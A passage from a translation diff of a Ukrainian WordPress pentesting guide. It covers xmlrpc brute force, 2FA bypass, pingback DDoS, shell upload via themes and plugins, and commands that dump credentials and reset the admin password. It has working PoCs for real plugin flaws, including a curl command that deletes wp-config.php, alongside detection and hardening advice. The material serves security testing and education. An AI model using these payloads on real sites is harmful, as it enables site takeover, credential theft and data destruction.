(1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) ![](<../../images/image (721).png>) -Використовуючи правильні credentials, ви можете завантажити файл. У відповіді буде вказано шлях ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) +Використовуючи правильні облікові дані, ви можете завантажити файл. У відповіді з'явиться шлях ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) ```html @@ -168,18 +168,18 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request: ``` -Також існує **швидший спосіб** brute-force облікових даних з використанням **`system.multicall`**, оскільки ви можете спробувати кілька облікових даних в одному запиті: +Також є **швидший спосіб** перебору облікових даних за допомогою **`system.multicall`**, оскільки можна спробувати кілька облікових даних в одному запиті:
**Bypass 2FA** -This method is meant for programs and not for humans, and old, therefore it doesn't support 2FA. So, if you have valid creds but the main entrance is protected by 2FA, **you might be able to abuse xmlrpc.php to login with those creds bypassing 2FA**. Note that you won't be able to perform all the actions you can do through the console, but you might still be able to get to RCE as Ippsec explains it in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) +Цей метод призначений для програм, а не для людей, і є застарілим, тому не підтримує 2FA. Отже, якщо у вас є валідні облікові дані, але основний вхід захищений 2FA, **ви можете зловживати xmlrpc.php для входу з цими обліковими даними, оминаючи 2FA**. Зверніть увагу, що ви не зможете виконати всі дії, які доступні через консоль, але все ще можете отримати RCE, як пояснює Ippsec у [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) **DDoS or port scanning** Якщо ви знайдете метод _**pingback.ping**_ у списку, ви можете змусити Wordpress відправити довільний запит на будь-який хост/порт.\ -Це можна використати, щоб попросити **тисячі** Wordpress **сайтів** **звернутися** до одного **місця** (внаслідок чого в тому місці спричинюється **DDoS**) або ви можете використати це, щоб змусити **Wordpress** **сканувати** внутрішню **мережу** (можна вказати будь-який порт). +Це можна використати, щоб попросити **тисячі** Wordpress **сайтів** звернутися до однієї **локації** (внаслідок чого там виникне **DDoS**) або застосувати це, щоб змусити **Wordpress** сканувати внутрішню **мережу** (можна вказати будь-який порт). ```html pingback.ping @@ -191,7 +191,7 @@ This method is meant for programs and not for humans, and old, therefore it does ``` ![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png) -Якщо ви отримаєте **faultCode** зі значенням **більше, ніж** **0** (17), це означає, що порт відкритий. +Якщо ви отримаєте **faultCode** зі значенням **більшим** за **0** (17), це означає, що порт відкритий. Погляньте на використання **`system.multicall`** в попередньому розділі, щоб дізнатися, як зловживати цим методом для спричинення DDoS. @@ -210,10 +210,10 @@ This method is meant for programs and not for humans, and old, therefore it does ### wp-cron.php DoS Цей файл зазвичай знаходиться в корені сайту Wordpress: **`/wp-cron.php`**\ -Під час доступу до цього файлу виконується «важкий» MySQL **query**, тому він може бути використаний зловмисниками для спричинення **DoS**.\ -Також за замовчуванням `wp-cron.php` викликається при кожному завантаженні сторінки (кожного разу, коли клієнт запитує будь-яку сторінку Wordpress), що на сайтах з великим трафіком може спричинити проблеми (DoS). +При зверненні до цього файлу виконується **важкий** MySQL **запит**, тому він може бути використаний зловмисниками для спричинення **DoS**.\ +До того ж, за замовчуванням, `wp-cron.php` викликається при кожному завантаженні сторінки (коли клієнт запитує будь-яку сторінку Wordpress), що на сайтах з високим трафіком може спричинити проблеми (DoS). -Рекомендується вимкнути Wp-Cron і створити реальний cronjob на хості, який виконуватиме необхідні дії з регулярним інтервалом (без створення проблем). +Рекомендується відключити Wp-Cron і створити реальний cronjob на хості, який виконуватиме необхідні дії через регулярні інтервали (без створення проблем). ### /wp-json/oembed/1.0/proxy - SSRF @@ -230,32 +230,32 @@ This is the response when it doesn't work: https://github.com/t0gu/quickpress/blob/master/core/requests.go {{#endref}} -Цей інструмент перевіряє наявність **methodName: pingback.ping** та шляху **/wp-json/oembed/1.0/proxy**, і якщо вони існують, намагається їх експлуатувати. +Цей інструмент перевіряє, чи існує **methodName: pingback.ping** і шлях **/wp-json/oembed/1.0/proxy**, і якщо вони існують, намагається їх експлуатувати. -## Автоматизовані інструменти +## Автоматичні інструменти ```bash cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0" wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs) #You can try to bruteforce the admin user using wpscan with "-U admin" ``` -## Отримати доступ шляхом перезапису біту +## Отримати доступ, перезаписавши біт -Скоріше курйоз, ніж реальна атака. У CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) можна було перевернути 1 біт у будь-якому файлі wordpress. Тому можна було змінити біт у позиції `5389` файлу `/var/www/html/wp-includes/user.php`, щоб зробити NOP для операції NOT (`!`). +Більше схоже на цікавинку, ніж на реальну атаку. У CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) можна було перевернути 1 біт у будь-якому wordpress файлі. Тому можна було змінити біт на позиції `5389` у файлі `/var/www/html/wp-includes/user.php`, щоб замінити операцію NOT (`!`) на NOP. ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( ``` -## **Panel RCE** +## **Панель RCE** -**Зміна php у використовуваній темі (потрібні облікові дані адміністратора)** +**Зміна php-файлу теми, що використовується (admin credentials needed)** -Appearance → Theme Editor → 404 Template (справа) +Зовнішній вигляд → Редактор тем → 404 Template (праворуч) Змініть вміст на php shell: ![](<../../images/image (384).png>) -Пошукайте в інтернеті, як отримати доступ до оновленої сторінки. У цьому випадку потрібно зайти сюди: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +Пошукайте в інтернеті, як отримати доступ до оновленої сторінки. У цьому випадку потрібно перейти за адресою: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) ### MSF @@ -265,12 +265,12 @@ use exploit/unix/webapp/wp_admin_shell_upload ``` щоб отримати сесію. -## Plugin RCE +## Плагін RCE ### PHP плагін -Може бути можливість завантажити .php файли як плагін.\ -Створіть свій php backdoor, наприклад: +Може бути можливо завантажити .php файли як плагін.\ +Створіть ваш php backdoor, наприклад: ![](<../../images/image (183).png>) @@ -282,78 +282,78 @@ use exploit/unix/webapp/wp_admin_shell_upload ![](<../../images/image (249).png>) -Клацніть на Procced: +Натисніть на Procced: ![](<../../images/image (70).png>) -Ймовірно, це нічого явно не покаже, але якщо перейти в Media, ви побачите ваш shell, який було завантажено: +Ймовірно, це нічого не покаже, але якщо перейти в Media, ви побачите завантажений shell: ![](<../../images/image (462).png>) -Відкрийте його і ви побачите URL для виконання reverse shell: +Відкривши його, ви побачите URL для виконання reverse shell: ![](<../../images/image (1006).png>) -### Завантаження та активація шкідливого плагіна +### Uploading and activating malicious plugin -Цей метод передбачає встановлення відомого вразливого шкідливого плагіна, який можна експлуатувати для отримання web shell. Цей процес виконується через WordPress dashboard наступним чином: +Цей метод передбачає встановлення шкідливого плагіна, відомого своєю вразливістю, який можна експлуатувати для отримання web shell. Цей процес виконується через WordPress dashboard таким чином: -1. **Plugin Acquisition**: плагін отримується з джерела, наприклад Exploit DB, як [**here**](https://www.exploit-db.com/exploits/36374). -2. **Plugin Installation**: -- Перейдіть у WordPress dashboard, потім `Dashboard > Plugins > Upload Plugin`. +1. **Отримання плагіна**: плагін отримується з джерела, наприклад Exploit DB, як [**here**](https://www.exploit-db.com/exploits/36374). +2. **Встановлення плагіна**: +- Перейдіть до WordPress dashboard, потім в `Dashboard > Plugins > Upload Plugin`. - Завантажте zip-файл завантаженого плагіна. -3. **Plugin Activation**: Після успішної інсталяції плагін потрібно активувати через dashboard. -4. **Exploitation**: -- Після встановлення і активації плагіна "reflex-gallery" його можна експлуатувати, оскільки він відомий своєю вразливістю. -- Metasploit framework надає експлойт для цієї вразливості. Завантаживши відповідний модуль і виконавши потрібні команди, можна встановити meterpreter session, що дає несанкціонований доступ до сайту. -- Зазначено, що це лише один з багатьох методів експлуатації сайту WordPress. +3. **Активація плагіна**: Після успішного встановлення плагін потрібно активувати через dashboard. +4. **Експлуатація**: +- Після встановлення та активації плагін "reflex-gallery" можна експлуатувати, оскільки він відомий своєю вразливістю. +- Metasploit framework надає експлойт для цієї вразливості. Завантаживши відповідний модуль та виконавши певні команди, можна встановити meterpreter сесію, що надасть несанкціонований доступ до сайту. +- Зауважте, що це лише один із багатьох методів експлуатації WordPress сайту. -Контент містить візуальні підказки, що показують кроки у WordPress dashboard для встановлення та активації плагіна. Водночас важливо зазначити, що експлуатація вразливостей таким чином є незаконною та неетичною без належної авторизації. Цю інформацію слід використовувати відповідально і лише в легальному контексті, наприклад, у penetration testing з явною дозволеністю. +У матеріалі присутні зображення, що показують кроки в WordPress dashboard для встановлення та активації плагіна. Однак важливо зазначити, що експлуатація вразливостей таким чином є незаконною та неетичною без належного дозволу. Цю інформацію слід використовувати відповідально і лише в правовому контексті, наприклад, під час penetration testing із явним дозволом. -**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) +**Для більш детальних кроків перегляньте:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) -## From XSS to RCE +## Від XSS до RCE -- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ — скрипт, призначений для ескалації вразливості **Cross-Site Scripting (XSS)** до **Remote Code Execution (RCE)** або інших критичних вразливостей у WordPress. Для додаткової інформації див. [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Підтримує **Wordpress Versions 6.X.X, 5.X.X and 4.X.X** та дозволяє: +- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ — скрипт, призначений ескалації уразливості **Cross-Site Scripting (XSS)** до **Remote Code Execution (RCE)** або інших критичних вразливостей у WordPress. Для додаткової інформації див. [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Він **підтримує Wordpress версії 6.X.X, 5.X.X та 4.X.X і дозволяє:** - _**Privilege Escalation:**_ Створює користувача в WordPress. -- _**(RCE) Custom Plugin (backdoor) Upload:**_ Завантажити ваш кастомний плагін (backdoor) у WordPress. +- _**(RCE) Custom Plugin (backdoor) Upload:**_ Завантажити ваш власний плагін (backdoor) у WordPress. - _**(RCE) Built-In Plugin Edit:**_ Редагувати вбудовані плагіни у WordPress. - _**(RCE) Built-In Theme Edit:**_ Редагувати вбудовані теми у WordPress. -- _**(Custom) Custom Exploits:**_ Кастомні експлойти для сторонніх WordPress плагінів/тем. +- _**(Custom) Custom Exploits:**_ Користувацькі експлойти для плагінів/тем сторонніх розробників WordPress. -## Після експлуатації +## Post Exploitation -Extract usernames and passwords: +Витягти імена користувачів та паролі: ```bash mysql -u --password= -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;" ``` -Змінити пароль admin: +Змінити пароль адміністратора: ```bash mysql -u --password= -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;" ``` -## Wordpress Плагіни Pentest +## Wordpress Plugins Pentest ### Поверхня атаки -Розуміння того, як плагін Wordpress може відкривати функціональність, є ключовим для виявлення вразливостей у його функціональності. Ви можете побачити, яким чином плагін може відкривати функціональність у наведених нижче пунктах, а також приклади вразливих плагінів у [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/). +Знання того, як Wordpress плагін може відкривати функціональність, є ключовим для знаходження вразливостей у цій функціональності. Ви можете дізнатися, як плагін може відкривати функціональність у наведених нижче пунктах та знайти приклади вразливих плагінів в [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/). - **`wp_ajax`** -Один зі способів, яким плагін може відкривати функції для користувачів — через AJAX-обробники. Вони можуть містити помилки в логіці, authorization або authentication. Крім того, досить часто ці функції базують і authentication, і authorization на наявності wordpress nonce, який **будь-який автентифікований у інстанції Wordpress користувач може мати** (незалежно від ролі). +Один зі способів, яким плагін може відкривати функції для користувачів — через AJAX handlers. Вони можуть містити помилки в логіці, authorization або authentication. Більше того, часто ці функції базуватимуть як authentication, так і authorization на існуванні wordpress nonce, який **будь-який користувач, автентифікований в екземплярі Wordpress, може мати** (незалежно від ролі). -Ось функції, які можуть бути використані для надання доступу до функції в плагіні: +Це функції, які можна використовувати для відкриття функції в плагіні: ```php add_action( 'wp_ajax_action_name', array(&$this, 'function_name')); add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); ``` -**Використання `nopriv` робить endpoint доступним для будь-яких користувачів (навіть неавторизованих).** +**Використання `nopriv` робить endpoint доступним для будь-яких користувачів (навіть неаутентифікованих).** > [!CAUTION] -> Крім того, якщо функція лише перевіряє авторизацію користувача за допомогою функції `wp_verify_nonce`, ця функція лише перевіряє, що користувач увійшов у систему, зазвичай вона не перевіряє роль користувача. Тому користувачі з низькими привілеями можуть мати доступ до дій з високими привілеями. +> Крім того, якщо функція лише перевіряє авторизацію користувача за допомогою функції `wp_verify_nonce`, ця функція лише перевіряє, що користувач увійшов у систему, вона зазвичай не перевіряє роль користувача. Тому користувачі з низькими привілеями можуть мати доступ до дій з високими привілеями. - **REST API** -Також можливо експонувати функції з wordpress, реєструючи REST API за допомогою функції `register_rest_route`: +It's also possible to expose functions from wordpress registering a rest AP using the `register_rest_route` function: ```php register_rest_route( $this->namespace, '/get/', array( @@ -363,21 +363,21 @@ $this->namespace, '/get/', array( ) ); ``` -The `permission_callback` — callback-функція, яка перевіряє, чи авторизований даний користувач для виклику API-методу. +The `permission_callback` — callback-функція, яка перевіряє, чи уповноважений певний користувач викликати метод API. -**Якщо використовується вбудована функція `__return_true`, вона просто пропускає перевірку прав користувача.** +**Якщо використовується вбудована функція `__return_true`, вона просто пропустить перевірку прав користувача.** - **Прямий доступ до php-файлу** -Звісно, Wordpress використовує PHP, і файли всередині плагінів напряму доступні з вебу. Тож якщо плагін експонує вразливу функціональність, яка активується просто при доступі до файлу, її зможе експлуатувати будь-який користувач. +Звісно, Wordpress використовує PHP, і файли всередині плагінів безпосередньо доступні з вебу. Тому, якщо плагін відкриває будь-яку вразливу функціональність, яка запускається просто при доступі до файлу, її зможе експлуатувати будь-який користувач. ### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1) -Деякі плагіни реалізують ярлики «trusted header» для внутрішніх інтеграцій або reverse proxies і потім використовують цей заголовок, щоб встановити поточний контекст користувача для REST-запитів. Якщо заголовок не криптографічно пов'язаний із запитом upstream-компонентом, атакуючий може його підробити і звертатися до привілейованих REST-маршрутів як адміністратор. +Деякі плагіни реалізують «trusted header» скорочення для внутрішніх інтеграцій або reverse proxy і потім використовують цей header для встановлення поточного контексту користувача для REST-запитів. Якщо header не прив'язаний криптографічно до запиту на upstream-компоненті, зловмисник може спуфити його й звертатися до привілейованих REST маршрутів як адміністратор. -- Impact: неавтентифіковане підвищення привілеїв до admin шляхом створення нового адміністратора через core users REST route. -- Example header: `X-Wcpay-Platform-Checkout-User: 1` (змушує user ID 1, зазвичай перший обліковий запис адміністратора). -- Exploited route: `POST /wp-json/wp/v2/users` з масивом підвищених ролей. +- Impact: неавторизоване підвищення привілеїв до admin шляхом створення нового адміністратора через core users REST route. +- Example header: `X-Wcpay-Platform-Checkout-User: 1` (примушує user ID 1, зазвичай перший обліковий запис адміністратора). +- Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array. PoC ```http @@ -393,30 +393,30 @@ Content-Length: 114 ``` Чому це працює -- Плагін відображає заголовок, контрольований клієнтом, у стан автентифікації та пропускає перевірки capability. -- WordPress core очікує `create_users` capability для цього маршруту; хак плагіна обходить її, безпосередньо встановлюючи контекст поточного користувача з заголовка. +- Плагін відображає header, контрольований клієнтом, на стан автентифікації і пропускає перевірки capability. +- WordPress core очікує здатність `create_users` для цього маршруту; хак плагіна обходить її, безпосередньо встановлюючи контекст поточного користувача з заголовка. Очікувані ознаки успіху - HTTP 201 з JSON-тілом, що описує створеного користувача. -- Новий обліковий запис адміністратора видно в `wp-admin/users.php`. +- Новий адміністратор помітний у `wp-admin/users.php`. -Контрольний список виявлення +Чекліст виявлення -- Grep для `getallheaders()`, `$_SERVER['HTTP_...']`, або vendor SDKs, які читають кастомні заголовки для встановлення контексту користувача (e.g., `wp_set_current_user()`, `wp_set_auth_cookie()`). -- Перегляньте реєстрації REST на предмет привілейованих callback-ів, які не мають надійних перевірок `permission_callback` і натомість покладаються на заголовки запиту. -- Шукайте використання основних функцій управління користувачами (`wp_insert_user`, `wp_create_user`) всередині REST handler-ів, які захищені лише значеннями заголовків. +- Grep для `getallheaders()`, `$_SERVER['HTTP_...']`, або vendor SDKs, які читають кастомні заголовки щоб встановити контекст користувача (наприклад, `wp_set_current_user()`, `wp_set_auth_cookie()`). +- Перегляньте реєстрації REST на предмет привілейованих callback-ів, які не мають надійних перевірок `permission_callback` і замість цього покладаються на заголовки запиту. +- Шукайте використання core-функцій управління користувачами (`wp_insert_user`, `wp_create_user`) всередині REST-обробників, які є обмеженими тільки значеннями заголовків. -Зміцнення +Посилення безпеки -- Ніколи не витягувати аутентифікацію чи авторизацію з заголовків, контрольованих клієнтом. -- Якщо reverse proxy повинно інжектити ідентичність, завершіть довіру на проксі та видаляйте вхідні копії (e.g., `unset X-Wcpay-Platform-Checkout-User` на edge), потім передавайте підписаний токен і перевіряйте його на сервері. -- Для REST-маршрутів, що виконують привілейовані дії, вимагайте перевірок `current_user_can()` та суворого `permission_callback` (do NOT use `__return_true`). -- Надавайте перевагу першопартійному auth (cookies, application passwords, OAuth) замість видавання користувача через заголовки. +- Ніколи не виводьте автентифікацію або авторизацію з заголовків, контрольованих клієнтом. +- Якщо reverse proxy має інжектувати ідентичність, припиніть довіру на проксі та видаліть вхідні копії (наприклад, `unset X-Wcpay-Platform-Checkout-User` на межі), потім передавайте підписаний токен і валідуйте його на сервері. +- Для REST-маршрутів, що виконують привілейовані дії, вимагаються перевірки `current_user_can()` і строгий `permission_callback` (НЕ використовуйте `__return_true`). +- Віддавайте перевагу першокласній автентифікації (cookies, application passwords, OAuth) замість імперсонації через заголовки. References: see the links at the end of this page for a public case and broader analysis. -### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0) +### Неавторизоване довільне видалення файлів через wp_ajax_nopriv (Litho Theme <= 3.0) WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement: @@ -443,31 +443,31 @@ die(); add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); ``` -Проблеми, що виникають через цей фрагмент: +Проблеми, викликані цим фрагментом: -* **Неавтентифікований доступ** – зареєстровано `wp_ajax_nopriv_` hook. -* **Відсутня перевірка nonce / capability check** – будь‑який відвідувач може звернутися до endpoint. -* **Відсутня санітизація шляху** – рядок, контрольований користувачем, `fontfamily` конкатенується до файлового шляху без фільтрації, що дозволяє класичний `../../` traversal. +* **Неавтентифікований доступ** – зареєстровано хук `wp_ajax_nopriv_`. +* **Відсутня перевірка nonce / capability** – будь-який відвідувач може звернутися до endpoint. +* **Немає санітизації шляху** – рядок під контролем користувача `fontfamily` конкатенується з файловим шляхом без фільтрації, що дозволяє класичний `../../` traversal. -#### Експлуатація +#### Exploitation -Атакувальник може видалити будь‑який файл або каталог **нижче базового каталогу uploads** (звичайно `/wp-content/uploads/`) відправивши один HTTP POST запит: +Зловмисник може видалити будь-який файл або каталог **нижче базового каталогу uploads** (зазвичай `/wp-content/uploads/`) відправивши один HTTP POST-запит: ```bash curl -X POST https://victim.com/wp-admin/admin-ajax.php \ -d 'action=litho_remove_font_family_action_data' \ -d 'fontfamily=../../../../wp-config.php' ``` -Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough on a default installation. Deleting `wp-config.php` forces WordPress into the *installation wizard* on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user). +Оскільки `wp-config.php` знаходиться за межами *uploads*, на типовій інсталяції достатньо чотирьох послідовностей `../`. Видалення `wp-config.php` переведе WordPress при наступному відвідуванні в *майстер встановлення*, що дозволяє повне захоплення сайту (атакуючий лише надає нову конфігурацію бази даних і створює обліковий запис адміністратора). -Other impactful targets include plugin/theme `.php` files (to break security plugins) or `.htaccess` rules. +Інші значущі цілі включають файли плагінів/тем `.php` (щоб порушити роботу плагінів безпеки) або правила `.htaccess`. #### Detection checklist -* Будь-який callback `add_action( 'wp_ajax_nopriv_...')`, який викликає файлові допоміжні функції (`copy()`, `unlink()`, `$wp_filesystem->delete()`, тощо). -* Конкатенація нефільтрованого вводу користувача в шляхи (див. `$_POST`, `$_GET`, `$_REQUEST`). +* Будь-який callback `add_action( 'wp_ajax_nopriv_...')`, який викликає файлові хелпери (`copy()`, `unlink()`, `$wp_filesystem->delete()`, тощо). +* Конкатенація неналежно очищених даних користувача в шляхи (шукайте `$_POST`, `$_GET`, `$_REQUEST`). * Відсутність `check_ajax_referer()` та `current_user_can()`/`is_user_logged_in()`. -#### Hardening +#### Посилення безпеки ```php function secure_remove_font_family() { if ( ! is_user_logged_in() ) { @@ -487,16 +487,16 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_ // 🔒 NO wp_ajax_nopriv_ registration ``` > [!TIP] -> **Завжди** ставтеся до будь-якої операції запису/видалення на диску як до привілейованої та перевіряйте двічі: -> • Аутентифікація • Авторизація • Nonce • Санітизація вводу • Контроль належності шляху (наприклад через `realpath()` плюс `str_starts_with()`). +> **Завжди** вважайте будь-яку операцію запису/видалення на диску привілейованою та двічі перевіряйте: +> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`). --- ### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role") -Багато плагінів реалізують функцію "view as role" або тимчасової зміни ролі, зберігаючи оригінальні ролі в user meta, щоб пізніше їх відновити. Якщо шлях відновлення покладається лише на параметри запиту (наприклад, `$_REQUEST['reset-for']`) і список, що підтримується плагіном, без перевірки capabilities та дійсного nonce, це перетворюється на вертикальне privilege escalation. +Багато плагінів реалізують функцію "view as role" або тимчасову зміну ролі, зберігаючи оригінальні роль(і) в user meta, щоб пізніше їх відновити. Якщо шлях відновлення покладається лише на параметри запиту (наприклад, `$_REQUEST['reset-for']`) і на список, який підтримує плагін, без перевірки capabilities і валідного nonce, це стає vertical privilege escalation. -Реальний приклад було знайдено в Admin and Site Enhancements (ASE) плагіні (≤ 7.6.2.1). Гілка reset відновлювала ролі на основі `reset-for=`, якщо ім'я користувача містилося у внутрішньому масиві `$options['viewing_admin_as_role_are']`, але не виконувала перевірку `current_user_can()` і не перевіряла nonce перед видаленням поточних ролей та повторним додаванням збережених ролей з user meta `_asenha_view_admin_as_original_roles`: +Реальний приклад було знайдено у плагіні Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Гілка reset відновлювала ролі на основі `reset-for=` якщо ім'я користувача з'являлося у внутрішньому масиві `$options['viewing_admin_as_role_are']`, але не виконувала ні перевірки `current_user_can()`, ні верифікації nonce перед видаленням поточних ролей і повторним додаванням збережених ролей з user meta `_asenha_view_admin_as_original_roles`: ```php // Simplified vulnerable pattern if ( isset( $_REQUEST['reset-for'] ) ) { @@ -511,19 +511,19 @@ foreach ( $orig as $r ) { $u->add_role( $r ); } } } ``` -Why it’s exploitable +Чому це можна експлуатувати -- Довіряє `$_REQUEST['reset-for']` та опції плагіна без серверної авторизації. -- Якщо користувач раніше мав вищі привілеї, збережені в `_asenha_view_admin_as_original_roles`, і його понизили, він може відновити їх, звернувшись до шляху скидання. -- У деяких розгортаннях будь-який авторизований користувач може ініціювати скидання для іншого імені користувача, яке все ще присутнє в `viewing_admin_as_role_are` (помилка авторизації). +- Довіряє `$_REQUEST['reset-for']` та опції плагіна без авторизації на стороні сервера. +- Якщо користувач раніше мав вищі привілеї, збережені в `_asenha_view_admin_as_original_roles`, і був понижений, він може відновити їх, звернувшись до шляху скидання. +- У деяких розгортаннях будь-який автентифікований користувач міг би ініціювати скидання для іншого імені користувача, яке все ще присутнє в `viewing_admin_as_role_are` (пошкоджена авторизація). Attack prerequisites -- Уразлива версія плагіна з увімкненою функцією. +- Вразлива версія плагіна з увімкненою функцією. - Цільовий акаунт має застарілу роль з високими привілеями, збережену в user meta від попереднього використання. -- Будь-яка авторизована сесія; відсутній nonce/capability у потоці скидання. +- Будь-яка автентифікована сесія; відсутній nonce/capability у потоці скидання. -Exploitation (example) +Експлуатація (приклад) ```bash # While logged in as the downgraded user (or any auth user able to trigger the code path), # hit any route that executes the role-switcher logic and include the reset parameter. @@ -531,34 +531,34 @@ Exploitation (example) curl -s -k -b 'wordpress_logged_in=...' \ 'https://victim.example/wp-admin/?reset-for=' ``` -На вразливих збірках це видаляє поточні ролі та повторно додає збережені оригінальні ролі (наприклад, `administrator`), фактично підвищуючи привілеї. +На вразливих збірках це видаляє поточні ролі та повторно додає збережені «original roles» (наприклад, `administrator`), фактично підвищуючи привілеї. Detection checklist -- Шукайте функції перемикання ролей, які зберігають “original roles” у user meta (наприклад, `_asenha_view_admin_as_original_roles`). -- Виявляйте шляхи скидання/відновлення, які: +- Шукайте функції перемикання ролей, що зберігають «original roles» в user meta (e.g., `_asenha_view_admin_as_original_roles`). +- Визначте шляхи скидання/відновлення, які: - Читають імена користувачів з `$_REQUEST` / `$_GET` / `$_POST`. -- Змінюють ролі через `add_role()` / `remove_role()` без `current_user_can()` та `wp_verify_nonce()` / `check_admin_referer()`. -- Авторизують на основі масиву опцій плагіна (наприклад, `viewing_admin_as_role_are`) замість можливостей виконавця. +- Змінюють ролі за допомогою `add_role()` / `remove_role()` без `current_user_can()` і `wp_verify_nonce()` / `check_admin_referer()`. +- Авторизують на основі масиву опцій плагіна (e.g., `viewing_admin_as_role_are`) замість можливостей актора. Hardening -- Застосовуйте перевірки прав доступу на кожній гілці, що змінює стан (наприклад, `current_user_can('manage_options')` або суворіше). -- Вимагайте nonces для всіх змін ролей/дозволів і перевіряйте їх: `check_admin_referer()` / `wp_verify_nonce()`. -- Ніколи не довіряйте іменам користувачів, наданим у запиті; визначайте цільового користувача на сервері на основі аутентифікованого виконавця та явної політики. -- Анулюйте стан “original roles” при оновленнях профілю/ролей, щоб уникнути відновлення застарілих високих привілеїв: +- Примусово перевіряйте можливості в кожному блоці, що змінює стан (e.g., `current_user_can('manage_options')` or stricter). +- Вимагайте nonces для всіх змін ролей/дозволів та перевіряйте їх: `check_admin_referer()` / `wp_verify_nonce()`. +- Ніколи не довіряйте іменам користувачів, отриманим із запиту; визначайте цільового користувача на сервері на основі автентифікованого актора та чіткої політики. +- Анулюйте стан «original roles» при оновленнях профілю/ролей, щоб уникнути відновлення застарілих високих привілеїв: ```php add_action( 'profile_update', function( $user_id ) { delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' ); }, 10, 1 ); ``` -- Розгляньте зберігання мінімального стану та використання часово-обмежених токенів, захищених перевіркою прав доступу (capability), для тимчасових переключень ролей. +- Розгляньте зберігання мінімального стану та використання часово-обмежених токенів із перевіркою capability для тимчасових переключень ролей. --- ### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”) -Деякі плагіни підключають допоміжні функції user-switching до публічного хуку `init` і визначають ідентичність на основі cookie, контрольованого клієнтом. Якщо код викликає `wp_set_auth_cookie()` без перевірки автентифікації, capability та дійсного nonce, будь-який неаутентифікований відвідувач може примусово увійти як довільний ID користувача. +Деякі плагіни прив'язують хелпери для перемикання користувачів до публічного хуку `init` і визначають ідентичність зі значення cookie, що контролюється клієнтом. Якщо код викликає `wp_set_auth_cookie()` без перевірки автентифікації, capability та дійсного nonce, будь-який неавторизований відвідувач може примусово увійти під довільним користувачем. Типовий вразливий шаблон (спрощено з Service Finder Bookings ≤ 6.1): ```php @@ -589,13 +589,13 @@ wp_die('Original user not found.'); wp_die('No original user found to switch back to.'); } ``` -Чому це вразливо +Чому це вразливе -- Публічний `init` hook робить обробник доступним для неавторизованих користувачів (немає захисту `is_user_logged_in()`). -- Ідентичність походить з клієнтської cookie, яку можна змінити (`original_user_id`). -- Прямий виклик `wp_set_auth_cookie($uid)` авторизує запитувача як цього користувача без будь-яких capability/nonce checks. +- Публічний хук `init` робить обробник доступним для неавторизованих користувачів (немає захисту `is_user_logged_in()`). +- Ідентичність походить із cookie, яке можна змінити на клієнті (`original_user_id`). +- Прямий виклик `wp_set_auth_cookie($uid)` залогінює запитувача як цього користувача без перевірок capability/nonce. -Експлуатація (без аутентифікації) +Експлуатація (без автентифікації) ```http GET /?switch_back=1 HTTP/1.1 Host: victim.example @@ -607,32 +607,32 @@ Connection: close ### WAF considerations for WordPress/plugin CVEs -Загальні WAF на рівні edge/серверів налаштовані на виявлення широких шаблонів (SQLi, XSS, LFI). Багато високовпливових вразливостей WordPress/plugin — це помилки логіки/auth специфічні для застосунку, які виглядають як безпечний трафік, якщо рушій не 